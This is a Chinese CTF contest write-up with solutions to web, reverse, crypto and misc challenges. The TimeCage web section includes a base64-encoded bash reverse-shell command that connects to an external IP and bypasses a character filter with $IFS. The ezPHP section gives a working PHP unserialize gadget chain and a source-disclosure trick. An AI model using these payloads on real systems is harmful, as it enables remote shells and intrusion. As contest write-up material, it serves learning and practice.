这个比赛还算是获得了一个完美的收场,最终以第八名的成绩拿下。
Web
Sign
打开题目后,叫POST一个值,试了一下passwd,无回显,用sgin传直接RCE。
TimeCage
等到0秒执行,发114即可。
得到源码:
<?php
show_source(__FILE__);
include 'secret.php';
if(isset($_POST['pass'])){
$pass = $_POST['pass'];
if(strlen($pass) != strlen($password)){
die("Wrong Length!");
}
$isMatch = true;
for($i = 0;$i < strlen($password); $i++){
if($pass[$i] != $password[$i]){
$isMatch = false;
break;
}
sleep(1);
}
if($isMatch){
echo "The final challenge in ".$key2;
}
else{
echo "Wrong Pass!";
}
}
//Only digital characters in the password.
测试出来长度为8
手工注入得到,密码为56983215
进入后看到过滤了很多,考虑进行反弹shell
过滤了这些东西,
{}[]()&<>`\和空格
构造payload反弹shell到服务器上。
cmd=echo$IFS$1"L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzExNC4xMzIuMTYxLjIwMy85OTkgMD4mMQ=="|base64$IFS$1-d|bash
ezPHP
目录扫描得到hint.php和flag.php,进入hint.php后是phpinfo
环境变量里面没有flag,可以看到禁用了一大堆功能。
查到该版本PHP<= 7 . 4 . 21存在的漏洞
通过php -S
开起的内置WEB服务器存在源码泄露漏洞,可以将PHP文件作为静态文件直接输出源码
关闭bp的update_length构造发包后得到源码
<?php
error_reporting(0);
class a{
public $OAO;
public $QAQ;
public $OVO;
public function __toString(){
if(!preg_match('/hello/', OVO)){
if ($this->OVO === "hello") {
return $this->OAO->QAQ;
}
}
}
public function __invoke(){
return $this->OVO;
}
}
class b{
public $pap;
public $vqv;
public function __get($key){
$functioin = $this->pap;
return $functioin();
}
public function __toString(){
return $this->vqv;
}
}
class c{
public $OOO;
public function __invoke(){
@$_ = $this->OOO;
$___ = $_GET;
var_dump($___);
if (isset($___['h_in.t'])) {
unset($___['h_in.t']);
}
var_dump($___);
echo @call_user_func($_, ...$___);
}
}
class d{
public $UUU;
public $uuu;
public function __wakeup(){
echo $this->UUU;
}
public function __destruct(){
$this->UUU;
}
}
if(isset($_GET['h_in.t'])){
unserialize($_GET['h_in.t']);
}
?>
这里考虑用file_put_content函数绕过来进行文件内容回显,构造POC:
链子:
d::__wakeup->a::__toString->b::__get->c::__invoke
<?php
class a
{
public $OAO;
public $QAQ;
public $OVO="hello";
}
class b
{
public $pap;
public $vqv;
}
class c
{
public $OOO="file_get_contents";
}
class d
{
public $UUU;
public $uuu;
}
$instanceD = new d();
$instanceA = new a();
$instanceB = new b();
$instanceD->UUU = $instanceA;
$instanceA->OAO = $instanceB;
$instanceC = new c();
$instanceB->pap = $instanceC;
echo serialize($instanceD);
?>
#O:1:"d":2:{s:3:"UUU";O:1:"a":3:{s:3:"OAO";O:1:"b":2:{s:3:"pap";O:1:"c":1:{s:3:"OOO";s:17:"file_get_contents";}s:3:"vqv";N;}s:3:"QAQ";N;s:3:"OVO";s:5:"hello";}s:3:"uuu";N;}
最后
HelloHacker
构造脚本找到黑名单外的命令:
/prohibited.txt可以直接进去,保存该文件
POC:
import itertools
# 字符集合
char_list = "pevanxroz"
# 读取文件内容
def read_file(file_path):
with open(file_path, 'r') as file:
lines = [line.strip() for line in file.readlines()]
return lines
# 生成字符集合的长度为 9 的排列
def generate_permutations(char_list):
# 生成长度为 9 的排列
perms = itertools.permutations(char_list, 9)
permutations = set() # 使用 set 去重
for p in perms:
permutations.add(''.join(p))
return permutations
# 比较生成的字符串和文件中的每一行
def compare_strings_with_file(permutations, file_lines):
for perm in permutations:
if perm not in file_lines:
print(f"{perm} is not in the file.")
# 主程序
def main():
file_path = "prohibited.txt" # 修改为你的文件路径
file_lines = read_file(file_path)
# 生成长度为 9 的排列组合的字符串
permutations = generate_permutations(char_list)
# 比较这些字符串和文件中的每一行
compare_strings_with_file(permutations, file_lines)
if __name__ == "__main__":
main()
查找结果:
最后没有进行过滤;可以考虑用passthru引入POST变量进行绕过
Reverse
If you know
加密逻辑如下:
简单的rc4算法
解密脚本:
def decode_flag(hex_values):
for i in range(len(hex_values) - 1, -1, -1):
offset = i + 2 if i % 2 else i + 1
if i % 2 == 0:
for j in range(len(hex_values)):
hex_values[j] -= offset
hex_values[j] -= j
hex_values[j] ^= j
else:
for j in range(len(hex_values) - 1, -1, -1):
hex_values[j] -= offset
hex_values[j] -= j
hex_values[j] ^= j
return ''.join(chr(v) for v in hex_values if 32 <= v <= 126)
hex_values = [
0xF5, 0x200, 0x208, 0x1EF, 0x235, 0x274, 0x23A, 0x276, 0x2B7,
0x306, 0x2B2, 0x313, 0x2E2, 0x32F, 0x371, 0x440, 0x338, 0x3E9,
0x3E2, 0x3B6, 0x407, 0x43E, 0x3BA, 0x3F4, 0x415, 0x473, 0x4DA
]
print(decode_flag(hex_values))
Crypto
easy
给出的附件是:
get buf unsign s[256]
get buf t[256]
we have key:hello world
we have flag:????????????????????????????????
for i:0 to 256
set s[i]:i
for i:0 to 256
set t[i]:key[(i)mod(key.lenth)]
for i:0 to 256
set j:(j+s[i]+t[i])mod(256)
swap:s[i],s[j]
for m:0 to 37
set i:(i + 1)mod(256)
set j:(j + S[i])mod(256)
swap:s[i],s[j]
set x:(s[i] + (s[j]mod(256))mod(256))
set flag[m]:flag[m]^s[x]
fprint flagx to file
flag.txt
d8d2 963e 0d8a b853 3d2a 7fe2 96c5 2923
3924 6eba 0d29 2d57 5257 8359 322c 3a77
892d fa72 61b8 4f
我们被给定了一个加密的 flag
,该 flag
以十六进制格式存储在文件 flag.txt
中。根据题目描述,我们使用 RC4 加密算法进行加解密,已知密钥为 "hello world"
。我们的任务是通过解密这个加密数据来恢复出 flag
。通过分析加密方式并理解 RC4 算法的工作原理,我们可以通过相同的密钥流解密出密文。由于 RC4 使用异或操作进行加解密,我们可以直接用相同的代码来解密给定的十六进制密文。
POC :
# 读取的密钥
key = "hello world"
key_len = len(key)
# flag.txt 中的十六进制内容,需转换为字节
hex_data = """
d8d2 963e 0d8a b853 3d2a 7fe2 96c5 2923
3924 6eba 0d29 2d57 5257 8359 322c 3a77
892d fa72 61b8 4f
"""
# 将十六进制字符串转为字节
flag_encrypted = bytes.fromhex(hex_data.replace(" ", "").replace("\n", ""))
# 初始化 s 和 t 数组
s = list(range(256))
t = [ord(key[i % key_len]) for i in range(256)]
# 密钥调度算法 (KSA)
j = 0
for i in range(256):
j = (j + s[i] + t[i]) % 256
s[i], s[j] = s[j], s[i]
# 伪随机生成算法 (PRGA)
i = j = 0
flag_decrypted = []
for m in range(len(flag_encrypted)):
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
x = (s[i] + s[j]) % 256
flag_decrypted.append(chr(flag_encrypted[m] ^ s[x]))
# 将解密后的标志连接成字符串并打印
decrypted_flag = ''.join(flag_decrypted)
print("解密后的标志:", decrypted_flag)
Time
代码逻辑不难,就是一个个的密钥。。。。一言难尽
纯脑洞,必须吐槽
第一,光是rc4的密钥就难猜,更别说什么...能级跃迁...时空跳跃...之类的物理概念了。。
密码真没必要这样脑洞, 要不是提示,我还真不知道密钥会是这东西
第一个 key 是这玩意 quantum_leap
离了个大谱
设备时间还好,提示了 Π ,年份的话给了是2024年,补充后面的就行 3.1415926......
这里四舍五入也有点那啥,试了好久。。
import hashlib
from base64 import b64decode
from datetime import datetime
# 假设这是加密后的Base64编码字符串
encoded_str = "YXkyLb/KNV9pcHK2QZV5t3Xsa4Pm2XO50oDcZeKMKs/UrPlygZxTHyWO7d4="
# Base64解码
decoded_bytes = b64decode(encoded_str)
# 假设这是隐藏的密钥和设备时间
secret_key = "quantum_leap"
# hidden_device_time = "[HIDDEN]"
# 生成密钥
key_hash = hashlib.sha512(secret_key.encode()).digest()
device_timestamp = "2024-03-14-16"
rc4_key_hash = hashlib.md5(device_timestamp.encode()).digest()[:8]
# 初始化RC4算法的S数组
S_array = list(range(256))
j_index = 0
for index in range(256):
j_index = (j_index + S_array[index] + rc4_key_hash[index % len(rc4_key_hash)]) % 256
S_array[index], S_array[j_index] = S_array[j_index], S_array[index]
# RC4解密
i_index = j_index = 0
rc4_decrypted_bytes = bytearray()
for b in decoded_bytes:
i_index = (i_index + 1) % 256
j_index = (j_index + S_array[i_index]) % 256
S_array[i_index], S_array[j_index] = S_array[j_index], S_array[i_index]
k_value = S_array[(S_array[i_index] + S_array[j_index]) % 256]
rc4_decrypted_bytes.append(b ^ k_value)
# XOR解密
xor_decrypted_bytes = bytearray()
for idx in range(len(rc4_decrypted_bytes)):
xor_decrypted_bytes.append(rc4_decrypted_bytes[idx] ^ key_hash[idx % 64])
# 将字节序列解码为字符串
decoded_message = xor_decrypted_bytes.decode()
print(decoded_message)
Misc
Sign
给出了一段十六进制的字符串,写脚本转字符串得到flag
hex_string = "57754375707B64663335376434372D333163622D343261382D616130632D3634333036333464646634617D"
# 将十六进制字符串转换为字节
byte_data = bytes.fromhex(hex_string)
# 将字节数据解码为 ASCII 字符串
decoded_string = byte_data.decode('utf-8', errors='ignore')
print(decoded_string)
旋转木马
合并文件flag1+flag2、然后无限base64解码,不确定解码次数,最后一串直接随波逐流一把梭
原神启动
第一层:lsb red通道隐写
第二层:doc改zip后缀直奔media文件夹,发现也是张red通道隐写
继续解压,发现还有一层压缩包,这个交了也不对,然后继续找,在document.xml里面发现一个
flag,估计也是解压密码:
最终flag:
太极
观察到hint: 太t极i生s两n仪i 容易看到规律,在第几位就取该汉字的全拼音第几个,最后拼接成为flag。
先转拼音:
按照规律取得flag,最后加上WuCup{}
tieny-lieig-sieau-bunig-jieay
Comments NOTHING